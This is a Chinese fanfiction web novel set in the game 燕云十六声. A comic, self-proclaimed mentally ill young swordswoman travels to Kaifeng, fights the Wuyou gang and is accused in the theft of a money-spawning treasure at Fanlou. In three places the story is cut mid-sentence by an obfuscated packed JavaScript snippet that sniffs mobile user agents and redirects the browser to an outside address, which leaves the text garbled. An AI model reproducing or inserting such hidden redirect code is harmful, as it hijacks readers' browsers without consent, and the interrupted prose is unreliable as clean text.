《[燕云十六声]你有这样的精神病进入开封》 1. 第 1 章 我是个精神病人,全清河的人都知道。 我叫洛斐逸,今年十六岁,在清河,江湖人称我“赤衣女鬼”。临江驿早早就贴出告示,说有个身穿红衣的女人日夜徘徊游荡,见人就杀,夜歌嚎哭,疯癫难以名状,希望广大清河百姓出门在外多加小心,结伴而行。 我是觉得有点委屈。 首先我并没有见人就杀! 时当乱世,身不由己,这清河乡野间到处都是山贼马匪,匪寨的密度比茅厕密度都高。好不容易见到个寺庙,里头也都被喝酒吃肉的恶棍僧人占据,还有我不共戴天的仇家绣金楼的人零星游荡,我能怎么办?只能杀了,顺便开点宝箱好让自己别饿死。 我帮清河人民剿匪,清河人民应该感谢我才是!怎么还造谣说我嗜杀成性? 其次,什么“夜歌嚎哭”,我只是赶路时兴起而至唱唱歌,谁知道半夜路上还有人听见?难道在山里唱歌还要被投诉扰民?没有这个道理! 最后,疯癫难以名状怎么了,我有精神病,官府还能管得了我发不发病?! 理论上来说,年方十六就罹患精神类疾病实在不是什么好事,但这个时代光活下去都已经分外艰难,区区一个精神病其实也并没有多大的坏处,至少对我来说,我不觉得我有什么问题。 我得精神病是有原因的! 可在清河我感觉自己是混不下去了。走到哪里都有人盯着我的红衣目露怪异的神色,窃窃私语一番后自动离我八丈远,好像我是个移动病原体。不,比病原体还可怕,毕竟这个时代的人还敢喝生水。 有寄生虫的水敢喝,有精神病的人不敢靠近? 歧视精神病人!真讨厌! 无奈之下,我只好收拾包袱,背上我心爱的长剑离开清河。 走了,不在乡下地方呆着了!我要进城! 清河神仙渡连着黄河,过了河,那头就是汴京。我打着小包袱来到码头,满怀雄心找上船家:“师傅,开封走不走?” 船家原本打着盹,被我叫起来,掀起眼皮子扫我两眼,打声呵欠:“行,能走。送你一趟,快去快回。” 上了船,我笔直挺立。料峭春风吹酒醒,我没喝酒,被这么一吹就是双倍清醒。一清醒我就兴致大发,兴致大发我就要说上点什么。于是我琢磨了一下,问船家:“你是想听歌,还是想听我吟诗?” 船家撑着船,本来一副没精打采的样,听我这么一说倒是一激灵,上上下下打量了我一番:“你要做什么?” “我有预感,这是我人生的一个重大转折,我必须要做点什么特殊的事来纪念一下。”我昂首挺胸,朗声道,“要么,我来高歌一曲《重头再来》。要么,我将为清河父老留词半阙,以为纪念。夏日消融,江河横溢,人或为鱼、鱼鳖——” 船家急忙打断我,匆匆转移话题:“你是清河本地人?” 我的吟诵中断,背着手侧身回答:“大概是。” “什么叫‘大概是’?”船家皱着眉,“你是本地人,那你知不知道清河的神仙渡前几日被烧毁的事?” 我说:“知道,怎么不知道。要不是神仙渡被烧了,我也不会离开清河。” 船家向我们来处望了一望。神仙渡原本梨花如云,如今被烧得焦黑一片,零落荒败。他叹了口气,说:“造孽啊。” 我坦然道:“可不是嘛。大火一烧,把我家烧没了。家没了,我精神病就犯了。” 船家古怪地看向我,我笑眯眯地回视,指指自己:“没想到吧,哈哈,我是精神病!” 船家支吾:“哦,呵呵,是没想到……那你去开封……?” “一是因为清河人看到我就躲,又说什么我是‘赤衣女鬼’,实在是烦人。”我摊手,“二因为听说我姨可能会在开封,就打算去开封碰碰运气。” 船家怜悯地看我一眼,说:“也好,也好,找到亲人,在这世上搭个伴过活最好。不过到了开封你也得小心,天子脚下可是九州通衢,一是小心被骗,二是最好找份工先做着,免得坐吃山空。” 我信心满满道:“师傅你放心!癫佬岂是池中物,一遇风云便发疯。我去开封是要干大事的,过不了多久,我就会从‘清河赤衣女鬼’变成‘汴京赤衣巨侠’,我要这东京人都知道我的鼎鼎大名!” 船家:“……不是,你要去开封做什么大事?” 我不语,只是一味呼呼哈哈大笑,迎着风高声唱起来:“大河向东流哇!天上的星星参北斗哇!” 船家默默握紧了撑杆,加快了划船速度。 过了河,便是临津渡。我数出钱来付了船费,一跃就下了船。 开封城旁,渡口人流颇多。一见着我这样的生面孔新客,小贩脚夫都纷纷涌上前来,尽心招呼:“客官,南门大街走不走?驴车只要三十文!” 船家跟着我一起上了码头,用最后的善心提醒我:“在清河,你身边都是乡里乡亲。但在开封,你可得小心点,这块儿鱼龙混杂,你别——” “喂,那边的,给我来辆驴车开开!” 我已经伸出手,豪气万千地就拽过一个揽客的驴车司机。船家的话说到一半,后半段的劝阻直接卡在嗓子眼儿里。 我扭过头去,对着船家一笑:“师傅,这一路真是多谢你了。知道你操心,没事,这儿的人都不知道我在清河是精神病,我会努力伪装一下的!” 船家苍白道:“不是……和精神病没有关系……我是说,这儿的驴车都宰客……” “谁宰谁还不一定呢。”我不以为意,把驴车司机又揪过来一寸,“你家驴车呢?怎么还不开过来?” 船家彻底沉默。他看着我把驴车司机挤到后座,自己抓起缰绳,兴致勃勃地一挥鞭子:“驾!走咯,驴车驾照在手,去麦香集!师傅再见,等我在开封混不下去了,我就再来照顾你生意!” 我是个精神病人,全清河的人都知道。 但我现在离开了清河,开封没人知道我是精神病,哈哈! 我叫洛斐逸,今年十六岁。 我的未来一片光明! 我没开过驴车,但我觉得我很有天赋。这驴一路欢快小跑,而我驾得虎虎生风,原本的驴车司机蜷缩在后座,顶着风艰难地想和我搭话:“这位少……少侠,麦香集在前头直走,再过两个路口就是。不过这几日开封最出名的事是首富东阙公子在樊楼开群英会,听说他要撒钱呢,你不想去樊楼凑凑热闹,开开眼界?” 我狂野驾驴,高声答:“不去!我就去麦香集!” 驴车司机非常想做成这一单,努力劝说我:“麦香集没什么好看的。你这是第一次来开封吧?樊楼附近有很多新奇的玩意儿……” “麦香集也有很多新奇玩意儿!”我大声反驳,“你听着!麦香集有麦当劳汉堡——好好好——麦当劳薯条——条条条——麦当劳奶昔,奶奶奶奶奶奶——麦当劳雪糕,糕糕糕糕糕糕糕!” 驴车司机:? “总之!吧啦吧叭叭,我就喜欢!” 驴车司机张着口看着我,半晌后,他虚弱地问:“少侠,敢问你的精神是不是……” 听他这么说,我扭过头来,略有些凶狠地盯住他:“你说我的精神怎么了?” 驴车司机急忙改口:“没有,没有,少侠的精神好得不得了哇!” 我笑了一声,又一挥鞭,催促驴车继续前行:“是啊,我的精神状态非常好。” 离开了清河,我就是赤条条的一朵浮萍,无父无母,身世不详。在开封,我可以重新开始,做一个崭新的自己。 啊,大好人生,从考取驴车驾照开始! 驴车滚滚,很快,麦香集到了。 麦香集和清河的那些乡野集市并不什么太大不同,只是乡民们口音稍有变化。我跳下驴车,给驴车司机塞了几枚大钱,本来还想和他交流一些驴车驾驶心得,结果这家伙不敢停留,扭头就驾着驴车疯狂地驶向码头,留下尘灰滚滚。 啧,怎么一个两个见了我都是这个奇怪的态度,我真的很吓人吗? 按着长剑,我在麦香集找了个小吃摊坐下。不说话的时候,我的外表其实挺有迷惑性,年方二八的青春少女,看起来笑眯眯的,店家很快就来问我想吃些什么,我说来份你家的招牌菜吧,然后我就挪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103039|163805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了店家旁边,言笑晏晏地搭起了讪。 “店家,你知不知道有人名叫‘无缺’?” 店家一愣,说:“当然知道,谁不知道无缺?” 我一歪头:“哦,那这无缺是谁呢?” 店家疑惑地眯起眼睛,他甩甩汗巾,没多解释,转身进了里屋端菜。 见店家不说,我只好寻找别的消息来源渠道。我睁眼四下打量周围,忽然就对上街角一个老婆婆的眼神。 那个老婆婆打扮古怪,她头发已经花白,头顶戴个乌龟帽子,身上背一个草编的大乌龟壳,式样滑稽,手中抓着挂满草编小乌龟的木杆子,见我盯着她,她脸上挤出沟壑纵横的笑,小步来到我面前。 “少侠,来买个小乌龟吧?龟奶奶卖龟儿子,只要二文钱……” 我扯起嘴角,忽然感觉面部僵硬,仿佛连笑都不知道该怎么笑了。 该死,成了精神病之后,我好像都没有真心实意地放松微笑过。 “奶奶,你坐。我想要个小乌龟,能让我挑挑吗?” 龟奶奶没有立即坐下,而是抬眼看了看小吃摊店家,我也抬眼看他。店家没说什么,龟奶奶这才屁股挨着条凳的一小边坐下,将拴着小草龟的木杆子转向我,殷切地托起那些小龟:“看看,看看,都是好的,一只两文钱。” “奶奶,我买一个。”我数出几枚钱,却不着急递过去,“我刚来开封,人生地不熟的,想多问几个问题。奶奶,我多买两个小龟,你能帮帮我吗?” 龟奶奶稍有些茫然,她眯着浑浊的眼,迟疑道:“万一我帮不上忙……” “那也没事,我是来买龟,奶奶你回答问题只是捎带的嘛。”我笑着说,然后把手中的铜钱塞到龟奶奶手里,“奶奶,你知道无缺吗?” 龟奶奶低头看了一眼掌心里的钱,回忆道:“无缺……无缺……好像,是有这么个人。最近总听人念叨,说什么无缺,好像是个有钱人,来开封说要……” “天下首富,未央城的东阙公子,温无缺。”小吃摊店家把一碗热面放到我面前,无奈地扫我一眼,“龟奶奶记性不好,你要打听事也别找她啊。” 我仰头对着店家一笑:“这不是想顺带手照顾照顾奶奶生意嘛。那这个东阙公子温无缺是来做什么的?” 店家在汗巾上擦擦手,匆忙道:“说是要在樊楼开群英会,撒钱。” 撒钱,天下还有这种好事? 大善人啊! 赶紧给我50文,我要吃开封菜! 龟奶奶数出三只小乌龟,轻轻放到我手边,问:“少侠,你打听这无缺做什么呀?” 我脸上的笑慢慢淡了下去。面汤热气之间,我垂下眼睛,轻声说: “我家被贼烧没了。我在这世上没了亲人,只剩我姨。我不知道我姨在哪儿,只翻着一个叫‘无缺’的人给她留下一封信,说和她约在麦香集见面。所以我想着,来麦香集找到这个无缺,说不定就能打听到我姨的下落。” 我是个精神病,无父无母,赤条条孑然一身的精神病。 但要是找到了我姨,我就又能变回那个阳光活泼的小女孩了。 至少我是这样想的。 龟奶奶伸出她干枯皲裂的手,拍了拍我的手背。 “小闺女,别着急,会找到的。”她说,“不然,我叫盈盈帮你找找?我家盈盈招人喜欢,哪儿都说得上话,认识很多人,说不定就认识你姨呢?” 盈盈? 龟奶奶颤巍巍地起身,她走到街边,叫我在这儿稍等。于是我收好草编小乌龟,“嗦嗦”地吃起了烩面。 哎这面真中!中嘞! 不愧是开封菜! 嗦下一碗面,我排出几枚大钱,又要了杯茶,边喝边等龟奶奶回来。茶刚喝见底,就看到一个戴着绿色猫猫帽子的姑娘“叮铃铃”地背着小货篓向我走来,站到我面前后,眼睛盯着我一眨不眨。 “我娘说你在找东阙公子?” 我抬头看向猫猫帽姑娘,问:“你是?” “我是盈盈。”她弯起双眼,露齿一笑,“好少侠,让我看看我能怎么帮你吧。” 2. 第 2 章 盈盈是龟奶奶的女儿,和龟奶奶一样,她的营生就是走街串巷卖货。也的确如龟奶奶所说,盈盈长了一双细长的眼睛,笑起来弯弯的,让人一看就心生亲切,很讨人喜欢。 盈盈听龟奶奶说了我来开封的目的,想了想,答应做我的向导,把我带进开封城。 “少侠有没有想过,万一找不到东阙公子该怎么办?毕竟他是未央城首富,轻易可见不到啊。” 盈盈在前头带路,我们一路穿过麦香集,在偌大开封城的城门口排上队,老老实实地进了开封城。 我跟在盈盈背后,小货篓上的铃铛发出叮叮的响动。我盯着她的猫猫帽子,总想伸手去捏捏猫耳朵。 “找得到也好,找不到就拉倒。”我说。 盈盈侧过头来,疑惑地看我一眼:“你姨不是你唯一的亲人了吗?你不想通过东阙公子找到你姨?” “有姨没姨,日子总得过。只是过得癫一点和稳当一点的区别罢了。”我笑笑,“要是找到了我姨,我就过得小心点,少让我姨操心,别让她总看到我闯祸。要是找不到我姨,那我就撒开手脚,想干什么干什么。人活这一辈子,总得让自己舒心快意。” 盈盈嘴角也提了起来,轻快地赞同:“是啊,人活一辈子,功名利禄都成空,最终留下的还不只是舒心快意?” “英雄所见略同!盈盈,我的知己!”我兴奋起来,“此情此景,我忍不住留词半阙,以作纪念!” 盈盈:“啊?” 我迈开方步,纵情吟咏:“滚滚长江——东逝水——浪花淘尽英雄!是非成败转头空,青山依旧在,几度夕阳红……” 不,这半阙词不能吟,要唱! 没想到四大名著的两首著名歌曲让我在这一路都唱出来了,幸甚至哉,歌以咏志,开封真是好地方啊! 就是不知道还有哪儿可以让我唱《通天大路宽又阔》和《葬花吟》,过几天让我仔细找找。 半阙歌毕,我余兴未了。盈盈转头看我,神情讶异至极。 “是非成败转头空,青山依旧在,几度夕阳红……绝妙好词,我从未听过如此绝妙好词!敢问少侠,这半阙词是何人所作?” “是一位大才子,杨慎杨先生所做。”我也不隐瞒,毕竟背了古诗词也要背作者,不然默写会扣分,“还有半阙,盈盈可想听?” “这杨慎杨先生的才情,恐怕可以和南烛公子一较高下了。”盈盈感慨,“以前只听江湖传说,南烛公子绝代风华,诗词歌赋无一不精,音律曲调也是多有所长。他所作的词曲都能传唱一时,樊楼就挂着他的‘花月正春风’呢。” 我有些茫然:“花月正春风是啥啊?” 课本上没有,没背过。 盈盈吐了一下舌头:“我也不知道,毕竟我也没去过樊楼嘛,那儿可不是随便都能进的。好大侠,要是你姨真的认识东阙公子,我还指望能借你的光进樊楼,见见大名鼎鼎的醉花阴花信风。” “好说好说。”我打包票,“这种娱乐场所夜总会从来都是狗眼看人低,换句话说,只要钱够了就能进。” 盈盈好奇:“好大侠,你很有钱吗?” 我露齿一笑:“没有。” 盈盈:“那你打算从哪儿搞钱去樊楼?” 我:“这好办了,谁有钱就管谁要。盈盈宝,这附近有没有什么为富不仁,或者欺行霸市的坏蛋?你给我指几个。” 盈盈一愣:“啊?好大侠,你想……?” 我一脸无辜:“随便问问。” “要说无恶不作的坏蛋,无忧帮倒算一个。这帮人聚在角门里附近,平日里就是欺男霸女,还做人口买卖。”盈盈有些犹豫,“但……好大侠,你要是想打他们的主意,可千万小心。无忧帮势力大,打手多,你一个人单打独斗……” 听到无忧帮的名号,我的脸不自然地扭曲了一瞬。 “没事,你把我送到角门里附近就好,搞到钱,我就去樊楼见那个东阙公子。” 盈盈把我送到一处破败僻静的城角,说这儿就是角门里。 角门里,角门里,确如盈盈所说,这附近看着民生凋敝,来往民众身上穿着都破旧朴素,没有什么兴旺繁荣的迹象。 到了地方,盈盈也不急着走,她捏着衣角看着我,眼睛一闪一闪的,明显是有话要说。 “好大侠,我的消息也不是免费的,那什么,你是不是要给我点表示呀……” 我问:“你要什么表示?” 盈盈的眼珠子转了一下,她看向我的包袱,问:“刚才你拿钱的时候我看到了,你带了一瓶酒。过几日我生辰,我就想要一瓶酒尝尝。” 我笑了,从包袱里掏出一个陶罐,在手上掂了掂:“你眼力真好。这是我姨酿的酒,十年份的离人泪,可是酒中的上品了。我家被绣金楼烧没了之后,这是我带出来的最后一瓶。” 盈盈的表情呆滞了一瞬:“原来是这么重要的酒啊……” “你想要,就给你吧。”我伸出手,把陶罐子递给盈盈,“拿去,提前祝你生辰快乐。” 盈盈抬头,略有些不可思议地看我:“你,就这么送我了?这不是你姨留下的……最后一瓶吗?” “是啊。”我平淡地回答,“人都找不到,留着酒又有什么用,我又不喝酒。要是能让你在过生辰的时候开心开心,也算尽了这瓶酒的价值。” 说完,我把离人泪往盈盈手里一塞,冲她摆摆手:“我去找无忧帮麻烦啦!盈盈拜拜~对了,下次要是有机会再见,一定让我捏捏你的猫猫耳朵!” 盈盈站在原地,有些愣。 “拜拜……是什么意思?” 转头,我已经满脸扭曲兴奋地冲了出去。 桀桀桀桀桀桀桀桀,无忧帮,无忧帮!!! 麻麻滴,当初我在临江驿差点就被这帮无忧帮的人贩子拐卖,要不是我精神病及时发作,咬破嘴唇提起剑一通乱杀,现在说不定已经被套个麻袋卖到南唐去了! 见到无忧帮我就杀一个,我就杀一个!!! ------------------------------------------------------ -X月X日,晴。 初到开封,吃开封菜三顿,没有吮指原味鸡,哭哭。 杀无忧帮五个,得钱袋五只,爽爽。 睡屋顶,有点硌。 -X月X日,晴。 开封第二天,吃开封菜三顿,没有劲爆鸡米花,哭哭。 杀无忧帮二十个,得钱袋不知道多少只,反正很多钱,爽爽爽。 遇到龟奶奶,她家竟然也住附近,龟奶奶家打地铺,半夜差点被盈盈踩到脸。作为补偿,她让我摸她养的猫猫。 嘿嘿,盈盈宝。 -X月X日,晴。 开封第三天,吃开封菜三顿。我说想吃上校鸡块,龟奶奶问我什么是上校鸡块,要给我做,我说没事奶奶我吃麦香鸡也一样,奶奶问我是不是想去麦香集,盈盈把我拖走了,说我又在胡说八道。 杀无忧帮三十五个,今天人有点多了,好像是特意来围剿我。 桀桀桀,我还能让你们剿咯? 得钱袋不知道多少只,反正非常多钱,爽爽爽爽。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在你搁南唐给我“今宵好向郎边去”谈恋爱呢是吧?你等着,俺们赵宋有超人官家,一手长拳给你打得再起不能,看他给不给你整上“垂泪对宫娥”就是了! 等统一了,就给你从南京抓到汴京来,锁小屋里就是写词,一天写十篇!写不出“春花秋月何时了”不给开封菜吃! 酣畅淋漓骂完,全场寂静。过了半天,赵大哥结结巴巴问我“春花秋月何时了”是什么,我说这是文学史上的明珠,但必须要把李煜关起来才能写。俗话说“国家不幸诗家幸”,像李煜那种人就该让他尽情创作,别用治国理政打扰他,最好再让他染上点抑郁,这样灵感更足。 就像我,自从得了精神病,我就感觉自己打人更有劲儿了,一口气能飞六层楼了,锤起无忧帮几十个都不带歇的!哈哈! 赵大哥缓过劲儿来,说我可真是对大宋赤胆忠心。我说那确实是,统一战争拖不得,赶紧结束分裂对无论哪国百姓都好。我支持大宋从南打到北,从东打到西,脚踢南唐拳打北汉,最后把契丹脑袋拧下来当球踢。 不然有契丹占着,我以后上哪儿瞅冰雪大世界玩儿雪滑梯去啊? 赵大哥问我怎么对赵宋信心这么足,我说那我不指望铁拳无敌超人官家一统天下,难道指望一个写“玉树琼枝作烟萝,几曾识干戈”的哥们儿去和契丹打擂台? 赵大哥听了这话要和我拜把子。 好,那太好了!我和赵大哥在此义结金兰!从此赵大哥就是我大哥,赵大哥的事就是我的事,有我一口饭吃我就不会让赵大哥饿着!以后赵大哥来角门里,我罩! 不知道为什么,小福在角落里看我的眼神很复杂。 3. 第 3 章 总之,赵大哥拍着胸脯说要带我去樊楼。 我说群英会不是前几天就开完了吗?赵大哥说群英会一直没开呢,不知道东阙公子在等什么,一直拖着不开,现在都有谣言说东阙公子决定进贡给大宋的“生金瓯”是假的了。 能生钱的玩意儿我见过,不过那东西叫印钞机。我是不信东阙公子能有这个能耐造出可以生钱的聚宝盆的,除非他能引领大宋进行第一次工业革命。要是真能工业革命,我愿拜东阙公子为义父! 为了找我姨,也为了凑热闹,我和赵大哥结伴一起往樊楼去了,小福也吵着要去,我俩把她也带上,孩子小,见见世面也成。 我还揣上了最近这几天暴打无忧帮抢来的钱,以备不时之需。 说来也巧,坐船去樊楼的路上我还碰到个熟人。 在樊楼门口撑船的船夫就是前几天载我来开封的船家,赵大哥说这是他兄弟,我说真是人生何处不相逢,我也认识这师傅,他人可好了!送我来开封路上还千叮咛万嘱咐让我别被人骗了! 挤上船,我就迫不及待和船家搭起了讪。我说:“师傅,你还认得我不?” 船家扫我一眼,神情有些尴尬:“啊,哦,是你啊!小姑娘这几天混得不错,连赵大哥都认识了?” 我拍拍胸脯,说:“那是,必须的!师傅我跟你说,我到开封之后一个亏都没吃,资产翻了好几倍,你看我现在都能和赵大哥来樊楼高消费了。精神状态是好得不得了啊!” 船家:……………… 赵大哥好奇地看看我,又看看船家,问:“咋着,你俩有什么故事?” 船家虚弱地说:“没什么故事……没有……” 我对船家说:“师傅,我现在已经混成角门里一霸了,那附近无忧帮的混混见着我都绕道走。你以后要是来角门里,提我好使!” 船家:“下次一定,下次一定。” 欢声笑语到了樊楼,我和赵大哥发现一个比较严重的问题,就是我俩确实没有群英会的请柬。 咋的,我俩不算群英? 什么群英荟萃,我看就是萝卜开会!没了我和赵大哥,这帮人在里头开会也开不明白! 赵大哥说他有一计,我掏掏耳朵,洗耳恭听。 赵大哥说,既然这儿是娱乐场所,那我们可以扮作服务员进去。 我说:就是“先生女士欢迎光临请问您要点什么酒水”那种服务员吗? 赵大哥说差不多。 然后,他就弄来了两套艳丽暴露的醉花阴制服,小抹胸,灯笼裤,轻纱遮面露小肚。 我看看这两套制服,安静地抬头盯住赵大哥。 赵大哥目光游移,问:“咋着?” 我说:“赵大哥,我才十六,要是被我江叔寒姨知道我来这种场所打工,他们会把我肠子掏出来。” 赵大哥嗫嚅着劝:“啊呀……小江……小江我认识,都哥们儿……我陪你一块儿穿,进去之后我护着你,有啥事儿冲我来!” 好吧,既然赵大哥也穿,那我没什么话好说。毕竟我穿上只是稍微暴露,赵大哥穿上那属于是初具人形。既然他有这样的勇气,我身为精神病又怎么能屈居人下呢? 换! 我“唰唰”就换上了轻纱醉花阴服饰,赵大哥速度稍慢。等到他从屏风后莲步轻移转到我面前,含羞带怯向我眼睛眨上那么一眨,我知道,我沦陷了。 “客官~你可愿为俺,一掷千金呢?” 赵大哥含情脉脉,我盯住他,逐渐双目赤红: “好哥哥!你这美呀,美得惊天动地!那甚么花信风周蔷秦弱兰,都不及哥哥一丝半毫!且待我杀进樊楼,夺了鸟位!教赵大哥做大花魁,俺做二花魁,却不强似在这里鸟乱!” 赵大哥:…… 赵大哥:“可以了,你认真得让我都有点害怕。” 说到这儿,赵大哥叹了口气,他说现在身材是有点走样。不过他有个亲弟弟,长得很齐整,和他年轻的时候很像。我接话说以后有机会给我介绍介绍,我来城里也想多见见帅哥。赵大哥满口答应,保证他弟弟不会让我失望。 哥们儿,那我就期待住了。 换上了醉花阴校服,我俩成功伪装成服务生混进了樊楼。赵大哥胆子大,他对我使了个眼色,让我俩一左一右站到东阙公子身后去,这样好让我逮着机会去和东阙公子搭话。 东阙公子是个头发金黄,身形略较小的青年。他出场是坐在大金椅子上被漫天飞飞的醉花阴漂亮姐姐抬出来的,群英抬头望向樊楼中央,金毛的东阙公子端坐大椅子,翘着腿,就让醉花阴的姐姐给他喂葡萄吃。我站在东阙公子身后,不由得思维发散,总觉得这家伙不太像认识我姨,反而像我姨会严防死守的那种轻浮黄毛。 不过这东阙公子怎么说话声音有点像女生呢? 是因为年纪轻,没变声,还是……? 胡思乱想间,变故骤生。 这场群英会的重头戏就是生金瓯。所有人都想见见能生钱的聚宝盆,东阙公子不负众望将它拿了出来。一出场,这大金盆子就开始“突突”往外喷钱。 就在我沉醉于喷钱绝景时,赵大哥脸色突然一变,低声道:“不好!” 我一抬头,震惊地发现,全场的英雄豪杰都飞了起来。 咋的这是,为啥都在冲我们面色狰狞地扑过来啊? “生金瓯!!!” 啊,是在抢钱! 光天化日,朗朗乾坤,天子脚下竟然公然行凶!现场没有监控,我必须一个后撤步,给自己留下清白! 不知是谁撒下障眼法的迷烟,混乱中,我胡乱前抓,喊:“东阙公子!温无缺!无缺在吗!无——哎谁往我这儿乱丢东西砸人啊,欺负精神病是吧?!” 我下意识接住一个布包,只听有人喊:“生金瓯在她那儿!” 我抬头,只见烟雾中几个狰狞人形向我扑来。这我哪里能忍,从来都是我抢别人,还能让别人抢我头上来了?于是我足尖点地向后飞窜,对着空气就是一通狂嚎:“谁来我咬谁!谁来我咬谁!” 不得不说,精神病的震慑力是很强的。我觉得那些人是怕精神病通过飞沫传播。 烟雾逐渐散去,可周围的人也多了起来。群英向我靠拢,目光灼灼地盯住我怀中布包,要不是我龇牙咧嘴,他们只怕瞬间就能扑上来。 “都别动!俺已经报官了!” 赵大哥侠肝义胆,见我有难,立即上前想护住我。但他看到我呲出尖牙一副要咬人的凶相,也被惊了一下:“你做什么呢?” “战略威慑。”我沉声说,“他们不知道我会不会咬人,什么时候咬人,又要咬谁,就不敢轻举妄动,这就叫威慑纪元。” 赵大哥:呃,行。 赵大哥的报官真是雷厉风行,不消一会儿,官兵就跑来控制住了局面。 “何人报官?” 清凌凌一声问,一紫袍男子转出。所到之处,众人无不低头慑服。 我不太懂官位职级,但我看得懂别人的反应。见状,我悄悄为大宋的行政效率点赞。有事故,马上就有责任人到场,我们大宋速度真是太快啦!南唐做得到吗?! 赵大哥一见这紫袍官员来,就挺着肚子“咚咚”站出:“俺报的官!” 一旁,据说是负责唐钱收缴的红袍史大人马上对着紫袍官员行礼,口称“府大人”。我琢磨着竟然还有“府”这个姓,就听紫袍府大人柔和了声音,问赵大哥:“可有受伤?” 嗯?这个语气,不对! 这难不成也是赵大哥熟人? 可以啊,赵大哥,手眼通天啊,这什么人脉!果然皇城根下能人多,我结交赵大哥真是认对人了! 赵大哥倒是不扭捏,他说他没受伤,只是略微走光。府大人应该也不纠结赵大哥走不走光的事儿(零人在意),他眸光转向我,干脆地命令:“打开布包。” 紫袍府大人长得很年轻,也很端正。匆忙间,我不敢与他对视,只立刻垂下眼睛,打开怀中包裹。刚掀开布,我就被臭得一趔趄,布包“咚”地落到地上。 那个扔给我的布包根本就不是生金瓯,里头是个夜壶! 不好,有人掉包,栽赃陷害! 府大人眸光一凛,迅速下达指令:“封锁樊楼,开始搜查!” 我还在为臭味儿犯恶心,就听府大人转向我,冷冷地问:“你是什么人?” 我一惊,心说有点坏事。要知道我这人就算什么坏事也没干也是有点偷感的,毕竟精神病见不得光。但我转念又一想,我又没偷生金瓯,我也没说我拿着的东西就是生金瓯,他也没法给我定罪啊? 想到这儿,我顺顺气,尽量平稳地低头答:“我叫洛斐逸,清河人。” “为何来此?” “父母双亡,家乡待不下去,来开封谋条生路。” 没错,我就是京漂打工小妹儿。合情合理啊,就算我现在的工作是在角门里暴打无忧帮,那也是来京务工,而且我打击无忧帮也算是帮大宋官府维护了治安,回头叫你们领导给我送锦旗! 一想到今天也为大宋做出了贡献,我就骄傲地挺起了腰杆子! 没想到我的完美回答也能被挑刺,府大人眯起双眼,似笑非笑道:“来开封谋生,为了钱,所以要抢聚宝盆?” 我:? 不是,你这人怎么总往阴暗的角度揣测我呢? “我没抢!”我争辩起来,“我就搁那儿站着,是有人把这个往我怀里砸的——” “嘻嘻。” 审问中,一道突兀的笑声响起。我看到府大人额头青筋一跳,他转过头去,瞪向樊楼正中。 不看不知道,一看吓一跳。东阙公子那个金毛竟然还在他的大椅子上端坐着,笑意盈盈地望着我们,仿佛生金瓯的丢失与他无关一样。 “你笑什么?”府大人一字一顿地问。 “看大人查案的样子威风凛凛,心生感佩,所以情不自禁发笑。”东阙公子拍拍衣袍,悠然起身,“不用顾虑我,大人继续,大人继续。” 府大人被这么一打岔,也忘了继续为难我的事,袖袍一甩就转过身:“排查在场所有人的身份。” 我眯着眼睛盯住东阙公子,他避过我的眼神,只是继续捡桌上的葡萄吃。 有官兵站到我面前,我知道他是要排查我身份,于是我立刻张口:“我叫洛斐逸,今年十六岁,家里一口人都没了,没有房没有车,也没有耕地。我在钱庄没有户头,没有贷款,也没有犯罪记录,没有传染病史……” 官兵:“……谁问你这个了!我问你有没有群英帖!” 我:“呃,不问那些啊?好吧,我没有群英帖。” 没想到官兵听了之后立刻将我又扭送到了府大人面前:“大人!她没有群英帖!” 府大人听到之后立刻转身盯向我,目光阴冷又如毒蛇: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103041|163805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没有群英帖?好啊,你可真是演得一出好戏,混淆视听,想让你的同伙偷偷带着生金瓯逃走,对吗?” 我听得目瞪口呆,心说大人你可真是名侦探毛利小府郎,这推理真是过程全错。 “我没有群英帖怎么了,在场也不是只有我一个人没有啊,我都说了我是外来务工人员,我一个打工的拿群英帖做什么?” 府大人脸色更差了:“还在狡辩!把这个清河人带下去,押到府牢,我亲自审,不信撬不开她的嘴!” 啊?这就要给我上手段了? 冤枉啊!冤枉啊!说好开封有个包青天呢?包青天搁哪儿呢?! 哦原来包拯还没出生,那没事了…… 完啦! 我遭遇此行最大危机!没和东阙公子接上头不说,现在还要被扭送大牢,面对府大人的严刑拷打! 不行,我必须迅速开动脑筋,想想该怎么办……快想想……快想想……这时候我该怎么做…… 继续伪装精神病发癫?不,不行。大宋可没有精神鉴定和精神病豁免的规矩,发癫只会让人更认定我心里有鬼。 强攻出去?是个办法,我就不信这帮人能当场把我剁成肉泥,但我现在手无寸铁,而且赵大哥和小福都也还在楼里,万一连累了他们…… 哦,对,对了! 赵大哥! 刚才这个府大人对赵大哥语气亲昵,说不定他们关系好,能看到赵大哥的面子上放我一马呢? 于是我立刻看向赵大哥,赵大哥对我使了个眼色,低声向府大人求告:“我觉得,小姑娘恐怕是有些隐情……就算是有什么,也不好在众目睽睽下……” 府大人略一沉吟,竟然真的同意让左右人等下去,留我、赵大哥和几个亲兵在场。 可我有啥隐情要说? 